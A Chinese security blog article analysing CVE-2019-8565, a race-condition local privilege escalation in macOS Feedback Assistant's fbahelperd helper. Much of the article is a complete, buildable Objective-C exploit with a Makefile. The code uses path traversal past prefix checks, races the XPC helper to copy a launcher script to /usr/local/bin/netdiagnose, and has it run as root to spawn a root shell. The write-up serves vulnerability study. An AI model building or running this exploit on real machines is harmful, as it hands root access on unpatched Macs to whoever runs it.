Feedback Assistant条件竞争漏洞引发的本地权限提升

Track-SSG   ·   发表于 2019-07-22 10:49:30   ·   漏洞文章

 

0x001 前言

本文承接上篇继续分析CVE-2019-8565这个洞,上文留下了一些疑问,例如,为何父进程能访问/usr/local/bin/netdiagnose就能够证明绕过了检查?既然绕过了安全检查,接下来该如何拿到root shell?

 

0x002 调试环境

主机: macOS Mojave 10.14.2 18C54

 

0x003 漏洞成因分析

IDA继续分析fbahelperd,看到方法copyLogFiles,该方法接受一个NSDictionary参数,其key值是文件的源路径,value值则是目标路径,将源路径文件复制到目标路径


但无论是源路径还是目标路径都必须具有前缀/var/folders//private/var//tmp/


在我们的EXP中可以这样绕过前缀检查

NSMutableDictionary *traversal(NSDictionary *mapping) {  NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init];  for (NSString *key in mapping) {    NSString *val = mapping[key];    NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key];  // 绕过路径检查
    NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val];
    transformed[newKey] = newVal;
  }  return transformed;
}

IDA中继续看到方法runMobilityReportWithDestination:,这里会调用/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info这个脚本。另外调用该方法需要一个路径参数,这个路径同样需要具有前缀/var/folders//private/var//tmp/


打开/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info,发现脚本里调用了/usr/local/bin/netdiagnose,而该文件默认不存在,这就为我们拿到root shell提供了一个思路


拿到root shell的流程:

  1. 参考上一篇文章利用条件竞争漏洞绕过servicefbahelperd的安全检查
  2. 在子进程创建完成并且通过fbahelperd的检查后,调用copyLogFiles:方法将root.sh复制到/usr/local/bin/netdiagnose
  3. 当绕过安全检查后,调用方法runMobilityReportWithDestination:,并传入一个路径参数(要能通过前缀检查),最后会以root权限调用/usr/local/bin/netdiagnose这个我们复制过去的脚本

 

0x004 Exploit

定义BAPrivilegedDaemon接口类

@protocol FBAPrivilegedDaemon <NSObject>- (void)copyLogFiles:(NSDictionary *)mapping;
- (void)runMobilityReportWithDestination:(NSURL *)dest;@end

在条件竞争阶段(stage == 1),先将root.sh复制到/usr/local/bin/netdiagnose。在检查通过阶段(stage == 2),调用方法runMobilityReportWithDestination打开root shell

extern char **environ;void child(const char *path, int stage) {  NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]]; // "/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/E694DB2F-72C9-4911-85F5-E1FED6726D6C-52092-00004AAFD253FE62/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose"
  NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd"
                                                                         options:NSXPCConnectionPrivileged];
  connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)];
  [connection resume];  id remote = connection.remoteObjectProxy;  if (stage == 1)
    [remote copyLogFiles:[NSDictionary dictionaryWithDictionary:transformed]];  // 将root.sh复制到"/usr/local/bin/netdiagnose"

  if (stage == 2)
    [remote runMobilityReportWithDestination:[NSURL fileURLWithPath:@"/tmp/2333"]]; // 绕过路径检查,执行"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info"

  char target_binary[] = BINARY;  char *target_argv[] = {target_binary, NULL};
  posix_spawnattr_t attr;
  posix_spawnattr_init(&attr);  short flags;
  posix_spawnattr_getflags(&attr, &flags);
  flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
  posix_spawnattr_setflags(&attr, flags);
  posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

root.sh写入的内容如下

#define SHELL_TEMPLATE                                                                                             
  @"#!/bin/shn"                                                                                                   
   "/Users/wooy0ung/workspace/lldbit/mac/CVE-2019-8565/./bin/exploitn"                                                                                                          
   "/Applications/iTerm.app/Contents/MacOS/iTerm2n"                                                    
   "rm -- "$0"n"

运行EXP,可以发现/usr/local/bin/路径下root.sh脚本已经被复制过去并重命名为netdiagnose


最后拿到一个root shell


完整的EXP

#import <Foundation/Foundation.h>#include <notify.h>#include <spawn.h>#include <sys/stat.h>#define USR_LOCAL_BIN @"/usr/local/bin"#define BINARY "/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/MacOS/Feedback Assistant"#define MOBILITY_SCRIPT                                                                                                
  "/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info"#define NOTIFY_NAME "me.chichou.fbaroot"#define LOG(fmt, ...) NSLog(@"[LightYear] " fmt "n", ##__VA_ARGS__)@protocol FBAPrivilegedDaemon <NSObject>- (void)copyLogFiles:(NSDictionary *)mapping;
- (void)runMobilityReportWithDestination:(NSURL *)dest;@endextern char **environ;void child(const char *path, int stage) {  NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]]; // "/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/E694DB2F-72C9-4911-85F5-E1FED6726D6C-52092-00004AAFD253FE62/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose"
  NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd"
                                                                         options:NSXPCConnectionPrivileged];
  connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)];
  [connection resume];  id remote = connection.remoteObjectProxy;  if (stage == 1)
    [remote copyLogFiles:[NSDictionary dictionaryWithDictionary:transformed]];  // 将root.sh复制到"/usr/local/bin/netdiagnose"

  if (stage == 2)
    [remote runMobilityReportWithDestination:[NSURL fileURLWithPath:@"/tmp/2333"]]; // 绕过路径检查,执行"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info"

  char target_binary[] = BINARY;  char *target_argv[] = {target_binary, NULL};
  posix_spawnattr_t attr;
  posix_spawnattr_init(&attr);  short flags;
  posix_spawnattr_getflags(&attr, &flags);
  flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
  posix_spawnattr_setflags(&attr, flags);
  posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}NSMutableDictionary *traversal(NSDictionary *mapping) {  NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init];  for (NSString *key in mapping) {    NSString *val = mapping[key];    NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key];  // 绕过路径检查
    NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val];
    transformed[newKey] = newVal;
  }  return transformed;
}NSDictionary *prepare() {  NSError *err = nil;  NSFileManager *mgr = [NSFileManager defaultManager];  NSString *guid = [[NSProcessInfo processInfo] globallyUniqueString];  // 获取唯一标志符
  NSString *cwd = [NSTemporaryDirectory() stringByAppendingPathComponent:guid];
  [mgr removeItemAtPath:cwd error:nil]; // 存在该目录便立即删除掉

  NSString *fakebin = [cwd stringByAppendingPathComponent:@"bin"];  // 在路径上添加bin目录
  [mgr createDirectoryAtPath:fakebin withIntermediateDirectories:YES attributes:nil error:&err];  // 创建目录

  // argument for copyLogFiles:
  NSMutableDictionary *mapping = [[NSMutableDictionary alloc] init];  // write launcher
  NSString *launcher = [fakebin stringByAppendingPathComponent:@"root.sh"];#define SHELL_TEMPLATE                                                                                                 
  @"#!/bin/shn"                                                                                                       
   "%@n"                                                                                                              
   "/Applications/iTerm.app/Contents/MacOS/iTerm2n"                                                    
   "rm -- "$0"n" // 删除自身

  NSString *exec = [[NSBundle mainBundle] executablePath];  // 获取当前二进制程序路径,例如"/Users/wooy0ung/workspace/lldbit/mac/CVE-2019-8565/./bin/exploit"
  NSString *sh = [NSString stringWithFormat:SHELL_TEMPLATE, exec];  // 格式化字符串,"%@"处用exec内容替换
  [sh writeToFile:launcher atomically:NO encoding:NSUTF8StringEncoding error:&err]; // 将sh的内容写入root.sh
  // LOG(@"%@n%@", sh, err);

  // find /usr/local/bin/*
  //NSString *mobility = [NSString stringWithContentsOfFile:@MOBILITY_SCRIPT encoding:NSUTF8StringEncoding error:&err];
  //NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"if \[ -x /usr/local/bin/(\w+)"
  //                                                                       options:NSRegularExpressionCaseInsensitive
  //                                                                         error:&err];
  //NSTextCheckingResult *match = [regex firstMatchInString:mobility options:0 range:NSMakeRange(0, [mobility length])];  // 匹配"if \[ -x /usr/local/bin/(\w+)"
  //if (!match) {
  //  LOG("Fatal error: this exploit may not work on your system.");
  //  return nil;
  //}
  //NSString *privileged = [mobility substringWithRange:[match rangeAtIndex:1]];
  //NSString *canary = [USR_LOCAL_BIN stringByAppendingPathComponent:privileged]; // 匹配获得一个特权级的程序路径,例如"/usr/local/bin/netdiagnose"
  //NSLog(privileged);
  //NSLog(canary);
  NSString *canary = @"/usr/local/bin/netdiagnose";  BOOL isDir = NO;  BOOL doesBrewExists = [mgr fileExistsAtPath:USR_LOCAL_BIN isDirectory:&isDir];  // 判断brew是否安装
  if (doesBrewExists && isDir) {
    mapping[launcher] = canary;
  } else {
    mapping[fakebin] = USR_LOCAL_BIN;
  }  NSString *session = [cwd stringByAppendingPathComponent:@"task.plist"]; // /var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/293B88C8-D8C3-4546-AF20-7B412E3B9272-43510-0000474BAA9F3EA0/task.plist
  NSDictionary *transformed = traversal(mapping); // "/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/D55EF23C-E3DC-4CFF-BA87-8F9C8DB17F7D-38989-000043E5CEE1B3B8/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose"
  [transformed writeToFile:session atomically:NO];  // 生成一个关联"/usr/local/bin/netdiagnose"及其启动脚本"root.sh"的plist文件
  //NSLog(@"session:n");
  //LOG("%@n", session);
  // LOG("dictionary: %@", transformed);
  /**
         │ File: task.plist
  ───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────
    1   │ <?xml version="1.0" encoding="UTF-8"?>
    2   │ <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    3   │ <plist version="1.0">
    4   │ <dict>
    5   │     <key>/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/218BE25D-17FC-4780-A56D-7F61
        │ 33EADF00-33219-000034A514EFF666/bin/root.sh</key>
    6   │     <string>/tmp/../../usr/local/bin/netdiagnose</string>
    7   │ </dict>
    8   │ </plist>
  */
  return @{@"session" : session, @"canary" : canary};
}#define RACE_COUNT 16#define SPAWN_CHILDREN(stage)                                                                                          
  for (int i = 0; i < RACE_COUNT; i++)                                                                                 
    processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ session, @ #stage ]];#define TERMINATE_CHILDREN                                                                                             
  for (int i = 0; i < RACE_COUNT; i++)                                                                                 
    [processes[i] terminate];int exploit(NSString *session, const char *canary) {  int status = 0;  NSString *exec = [[NSBundle mainBundle] executablePath];  NSTask *processes[RACE_COUNT];


  LOG("Now race");
  SPAWN_CHILDREN(1);  int i = 0;  struct timespec ts = {
      .tv_sec = 0,
      .tv_nsec = 500 * 1000000,
  };  while (access(canary, F_OK) == -1) {  // 访问"/usr/local/bin/netdiagnose"失败,等待,用以判断race是否成功
    nanosleep(&ts, NULL);    if (++i > 4) { // wait for 2 seconds at most
      LOG("Stage 1 timed out, retry");
      status = -1;      goto cleanup;
    }
  }
  chmod(canary, 0777);  // 访问成功后将权限提到最高


  LOG("Stage 1 succeed");
  dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);  int token;
  notify_register_dispatch(NOTIFY_NAME, &token, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0),
                           ^(int token) {
                             LOG("It works!");
                             dispatch_semaphore_signal(semaphore);
                             notify_cancel(token);
                           });
  SPAWN_CHILDREN(2);  // wait for 2s
  dispatch_time_t timeout = dispatch_time(DISPATCH_TIME_NOW, 2.0 * NSEC_PER_SEC);
  status = dispatch_semaphore_wait(semaphore, timeout); // 当在2秒内成功将消息派发就成功
  if (status != 0)
    LOG("Timed out");

cleanup:
  TERMINATE_CHILDREN  return status;
}int root() {
  notify_post(NOTIFY_NAME); // 接收到一个派发的消息
  LOG("I am groot (euid: %d)", geteuid());
  LOG("bye");  return 0;
}int main(int argc, char *argv[]) {  @autoreleasepool {    if (geteuid()) {      if (argc == 3) {   // 子进程会执行这里
        child(argv[1], atoi(argv[2]));        return 0;
      }      NSDictionary *ctx = prepare();  // 首次会调用这里
      if (!ctx){        return 1;}      for (int i = 0; i < 3; i++) {   // 尝试3次,共spawn 16 * 2 * 3个子进程
        if (exploit(ctx[@"session"], [ctx[@"canary"] UTF8String]) == 0)          return 0;
      }
      LOG("all tries failed");      return 1;
    } else {      return root();
    }
  }
}

Makefile

SRC = exploit.m
OUTPUT = bin/exploit.PHONY: execexec: $(SRC)
    @mkdir -p bin
    clang $(SRC) -framework Foundation -o $(OUTPUT)run: exec
    $(OUTPUT)format:
    clang-format -i $(SRC)

                                       

本文由安全客原创发布                                
转载自安全客 - 有思想的安全新媒体


打赏我,让我更有动力~

0 条回复   |  直到 2019-7-22 | 1708 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.